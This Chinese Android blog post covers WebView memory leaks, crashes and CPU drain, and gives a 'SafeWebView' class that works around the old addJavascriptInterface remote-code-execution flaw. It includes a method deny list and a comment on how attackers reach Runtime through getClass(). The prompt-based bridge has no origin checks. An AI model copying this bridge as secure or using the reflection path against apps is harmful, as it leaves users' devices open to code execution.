WebView 的内存泄漏是一个比较大的问题,尤为是当加载的页面比较庞大的时候,解决方法网上也比较多,可是看状况大部分都不是能完全根治的,这里说一下 QQ 和微信的作法,每当打开一个 WebView 界面的时候,会开启一个新进程,在页面退出以后经过 System.exit(0) 关闭这个进程,这样就不会存在内存泄漏的问题了,具体的作法能够查看这篇博客:Android WebView Memory Leak WebView内存泄漏,里面也提供了另一种解决办法,感兴趣的能够去看一下。
当使用 mWebView.getSettings().setBuiltInZoomControls(true) 启用该设置后,用户一旦触摸屏幕,就会出现缩放控制图标。这个图标过上几秒会自动消失,但在 3.0 之上 4.4 系统之下不少手机会出现这种状况:若是图标自动消失前退出当前 Activity 的话,就会发生 ZoomButton 找不到依附的 Window 而形成程序崩溃,解决办法很简单就是在 Activity 的 onDestory 方法中调用 mWebView.setVisibility(View.GONE); 方法,手动将其隐藏,就不会崩溃了。
若是 WebView 加载的的 html 里有一些 JS 一直在执行好比动画之类的东西,若是此刻 WebView 挂在了后台,这些资源是不会被释放,用户也没法感知,致使一直占有 CPU 增长耗电量,若是遇到这种状况,在 onStop 和 onResume 里分别把 setJavaScriptEnabled() 给设置成 false 和 true 便可。
来看看解决上述问题的 WebView 源码:
public class SafeWebView extends WebView {
private static final boolean DEBUG = true;
private static final String VAR_ARG_PREFIX = "arg";
private static final String MSG_PROMPT_HEADER = "MyApp:";
/** * 对象名 */
private static final String KEY_INTERFACE_NAME = "obj";
/** * 函数名 */
private static final String KEY_FUNCTION_NAME = "func";
/** * 参数数组 */
private static final String KEY_ARG_ARRAY = "args";
/** * 要过滤的方法数组 */
private static final String[] mFilterMethods = {
"getClass",
"hashCode",
"notify",
"notifyAll",
"equals",
"toString",
"wait",
};
/** * 缓存addJavascriptInterface的注册对象 */
private HashMap<String, Object> mJsInterfaceMap = new HashMap<>();
/** * 缓存注入到JavaScript Context的js脚本 */
private String mJsStringCache = null;
public SafeWebView(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
init();
}
public SafeWebView(Context context, AttributeSet attrs) {
super(context, attrs);
init();
}
public SafeWebView(Context context) {
super(context);
init();
}
/** * WebView 初始化,设置监听,删除部分Android默认注册的JS接口 */
private void init() {
setWebChromeClient(new WebChromeClientEx());
setWebViewClient(new WebViewClientEx());
safeSetting();
removeUnSafeJavascriptImpl();
}
/** * 安全性设置 */
private void safeSetting() {
getSettings().setSavePassword(false);
getSettings().setAllowFileAccess(false);//设置为 false 将不能加载本地 html 文件
if (Build.VERSION.SDK_INT >= 16) {
getSettings().setAllowFileAccessFromFileURLs(false);
getSettings().setAllowUniversalAccessFromFileURLs(false);
}
}
/** * 检查SDK版本是否 >= 3.0 (API 11) */
private boolean hasHoneycomb() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;
}
/** * 检查SDK版本是否 >= 4.2 (API 17) */
private boolean hasJellyBeanMR1() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;
}
/** * 3.0 ~ 4.2 之间的版本须要移除 Google 注入的几个对象 */
@SuppressLint("NewApi")
private boolean removeUnSafeJavascriptImpl() {
if (hasHoneycomb() && !hasJellyBeanMR1()) {
super.removeJavascriptInterface("searchBoxJavaBridge_");
super.removeJavascriptInterface("accessibility");
super.removeJavascriptInterface("accessibilityTraversal");
return true;
}
return false;
}
@Override
public void setWebViewClient(WebViewClient client) {
if (hasJellyBeanMR1()) {
super.setWebViewClient(client);
} else {
if (client instanceof WebViewClientEx) {
super.setWebViewClient(client);
} else if (client == null) {
super.setWebViewClient(client);
} else {
throw new IllegalArgumentException(
"the \'client\' must be a subclass of the \'WebViewClientEx\'");
}
}
}
@Override
public void setWebChromeClient(WebChromeClient client) {
if (hasJellyBeanMR1()) {
super.setWebChromeClient(client);
} else {
if (client instanceof WebChromeClientEx) {
super.setWebChromeClient(client);
} else if (client == null) {
super.setWebChromeClient(client);
} else {
throw new IllegalArgumentException(
"the \'client\' must be a subclass of the \'WebChromeClientEx\'");
}
}
}
/** * 若是版本大于 4.2,漏洞已经被解决,直接调用基类的 addJavascriptInterface * 若是版本小于 4.2,则使用map缓存待注入对象 */
@SuppressLint("JavascriptInterface")
@Override
public void addJavascriptInterface(Object obj, String interfaceName) {
if (TextUtils.isEmpty(interfaceName)) {
return;
}
// 若是在4.2以上,直接调用基类的方法来注册
if (hasJellyBeanMR1()) {
super.addJavascriptInterface(obj, interfaceName);
} else {
mJsInterfaceMap.put(interfaceName, obj);
}
}
/** * 删除待注入对象, * 若是版本为 4.2 以及 4.2 以上,则使用父类的removeJavascriptInterface。 * 若是版本小于 4.2,则从缓存 map 中删除注入对象 */
@SuppressLint("NewApi")
public void removeJavascriptInterface(String interfaceName) {
if (hasJellyBeanMR1()) {
super.removeJavascriptInterface(interfaceName);
} else {
mJsInterfaceMap.remove(interfaceName);
//每次 remove 以后,都须要从新构造 JS 注入
mJsStringCache = null;
injectJavascriptInterfaces();
}
}
/** * 若是 WebView 是 SafeWebView 类型,则向 JavaScript Context 注入对象,确保 WebView 是有安全机制的 */
private void injectJavascriptInterfaces(WebView webView) {
if (webView instanceof SafeWebView) {
injectJavascriptInterfaces();
}
}
/** * 注入咱们构造的 JS */
private void injectJavascriptInterfaces() {
if (!TextUtils.isEmpty(mJsStringCache)) {
loadUrl(mJsStringCache);
return;
}
mJsStringCache = genJavascriptInterfacesString();
loadUrl(mJsStringCache);
}
/** * 根据缓存的待注入java对象,生成映射的JavaScript代码,也就是桥梁(SDK4.2以前经过反射生成) */
private String genJavascriptInterfacesString() {
if (mJsInterfaceMap.size() == 0) {
return null;
}
/* * 要注入的JS的格式,其中XXX为注入的对象的方法名,例如注入的对象中有一个方法A,那么这个XXX就是A * 若是这个对象中有多个方法,则会注册多个window.XXX_js_interface_name块,咱们是用反射的方法遍历 * 注入对象中的带有@JavaScripterInterface标注的方法 * * javascript:(function JsAddJavascriptInterface_(){ * if(typeof(window.XXX_js_interface_name)!='undefined'){ * console.log('window.XXX_js_interface_name is exist!!'); * }else{ * window.XXX_js_interface_name={ * XXX:function(arg0,arg1){ * return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]})); * }, * }; * } * })() */
Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator();
//HEAD
StringBuilder script = new StringBuilder();
script.append("javascript:(function JsAddJavascriptInterface_(){");
// 遍历待注入java对象,生成相应的js对象
try {
while (iterator.hasNext()) {
Map.Entry<String, Object> entry = iterator.next();
String interfaceName = entry.getKey();
Object obj = entry.getValue();
// 生成相应的js方法
createJsMethod(interfaceName, obj, script);
}
} catch (Exception e) {
e.printStackTrace();
}
// End
script.append("})()");
return script.toString();
}
/** * 根据待注入的java对象,生成js方法 * * @param interfaceName 对象名 * @param obj 待注入的java对象 * @param script js代码 */
private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
return;
}
Class<? extends Object> objClass = obj.getClass();
script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
if (DEBUG) {
script.append(" console.log('window." + interfaceName + "_js_interface_name is exist!!');");
}
script.append("}else {");
script.append(" window.").append(interfaceName).append("={");
// 经过反射机制,添加java对象的方法
Method[] methods = objClass.getMethods();
for (Method method : methods) {
String methodName = method.getName();
// 过滤掉Object类的方法,包括getClass()方法,由于在Js中就是经过getClass()方法来获得Runtime实例
if (filterMethods(methodName)) {
continue;
}
script.append(" ").append(methodName).append(":function(");
// 添加方法的参数
int argCount = method.getParameterTypes().length;
if (argCount > 0) {
int maxCount = argCount - 1;
for (int i = 0; i < maxCount; ++i) {
script.append(VAR_ARG_PREFIX).append(i).append(",");
}
script.append(VAR_ARG_PREFIX).append(argCount - 1);
}
script.append(") {");
// Add implementation
if (method.getReturnType() != void.class) {
script.append(" return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");
} else {
script.append(" prompt('").append(MSG_PROMPT_HEADER).append("'+");
}
// Begin JSON
script.append("JSON.stringify({");
script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");
script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");
script.append(KEY_ARG_ARRAY).append(":[");
// 添加参数到JSON串中
if (argCount > 0) {
int max = argCount - 1;
for (int i = 0; i < max; i++) {
script.append(VAR_ARG_PREFIX).append(i).append(",");
}
script.append(VAR_ARG_PREFIX).append(max);
}
// End JSON
script.append("]})");
// End prompt
script.append(");");
// End function
script.append(" }, ");
}
// End of obj
script.append(" };");
// End of if or else
script.append("}");
}
/** * 检查是不是被过滤的方法 */
private boolean filterMethods(String methodName) {
for (String method : mFilterMethods) {
if (method.equals(methodName)) {
return true;
}
}
return false;
}
/** * 利用反射,调用java对象的方法。 * <p> * 从缓存中取出key=interfaceName的java对象,并调用其methodName方法 * * @param result * @param interfaceName 对象名 * @param methodName 方法名 * @param args 参数列表 * @return */
private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {
boolean succeed = false;
final Object obj = mJsInterfaceMap.get(interfaceName);
if (null == obj) {
result.cancel();
return false;
}
Class<?>[] parameterTypes = null;
int count = 0;
if (args != null) {
count = args.length;
}
if (count > 0) {
parameterTypes = new Class[count];
for (int i = 0; i < count; ++i) {
parameterTypes[i] = getClassFromJsonObject(args[i]);
}
}
try {
Method method = obj.getClass().getMethod(methodName, parameterTypes);
Object returnObj = method.invoke(obj, args); // 执行接口调用
boolean isVoid = returnObj == null || returnObj.getClass() == void.class;
String returnValue = isVoid ? "" : returnObj.toString();
result.confirm(returnValue); // 经过prompt返回调用结果
succeed = true;
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
result.cancel();
return succeed;
}
/** * 解析出参数类型 * * @param obj * @return */
private Class<?> getClassFromJsonObject(Object obj) {
Class<?> cls = obj.getClass();
// js对象只支持int boolean string三种类型
if (cls == Integer.class) {
cls = Integer.TYPE;
} else if (cls == Boolean.class) {
cls = Boolean.TYPE;
} else {
cls = String.class;
}
return cls;
}
/** * 解析JavaScript调用prompt的参数message,提取出对象名、方法名,以及参数列表,再利用反射,调用java对象的方法。 * * @param view * @param url * @param message MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["从JS中传递过来的文本!!!"]} * @param defaultValue * @param result * @return */
private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
String prefix = MSG_PROMPT_HEADER;
if (!message.startsWith(prefix)) {
return false;
}
String jsonStr = message.substring(prefix.length());
try {
JSONObject jsonObj = new JSONObject(jsonStr);
// 对象名称
String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME);
// 方法名称
String methodName = jsonObj.getString(KEY_FUNCTION_NAME);
// 参数数组
JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY);
Object[] args = null;
if (null != argsArray) {
int count = argsArray.length();
if (count > 0) {
args = new Object[count];
for (int i = 0; i < count; ++i) {
Object arg = argsArray.get(i);
if (!arg.toString().equals("null")) {
args[i] = arg;
} else {
args[i] = null;
}
}
}
}
if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
result.cancel();
return false;
}
private class WebChromeClientEx extends WebChromeClient {
@Override
public final void onProgressChanged(WebView view, int newProgress) {
injectJavascriptInterfaces(view);
super.onProgressChanged(view, newProgress);
}
@Override
public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
if (view instanceof SafeWebView) {
if (handleJsInterface(view, url, message, defaultValue, result)) {
return true;
}
}
return super.onJsPrompt(view, url, message, defaultValue, result);
}
@Override
public final void onReceivedTitle(WebView view, String title) {
injectJavascriptInterfaces(view);
}
}
private class WebViewClientEx extends WebViewClient {
@Override
public void onLoadResource(WebView view, String url) {
injectJavascriptInterfaces(view);
super.onLoadResource(view, url);
}
@Override
public void doUpdateVisitedHistory(WebView view, String url, boolean isReload) {
injectJavascriptInterfaces(view);
super.doUpdateVisitedHistory(view, url, isReload);
}
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
injectJavascriptInterfaces(view);
super.onPageStarted(view, url, favicon);
}
@Override
public void onPageFinished(WebView view, String url) {
injectJavascriptInterfaces(view);
super.onPageFinished(view, url);
}
}
}复制代码
这段代码基本是按照上面所描述的状况来写的,修复了上面提到的几个漏洞,这里再描述一下几个须要注意的点:
group.jobbole.com/26417/?utm_…
blog.csdn.net/jiangwei091…
blog.csdn.net/leehong2005…
github.com/yushiwo/Web…
blog.csdn.net/sk719887916…
zhuanlan.zhihu.com/p/24202408
github.com/lzyzsd/JsBr…
www.jianshu.com/p/93cea79a2…
www.codexiu.cn/android/blo…
github.com/pedant/safe…
blog.sina.com.cn/s/blog_777f…
www.cnblogs.com/chaoyuehedy…
blogs.360.cn/360mobile/2…
my.oschina.net/zhibuji/blo…
www.cnblogs.com/punkisnotde…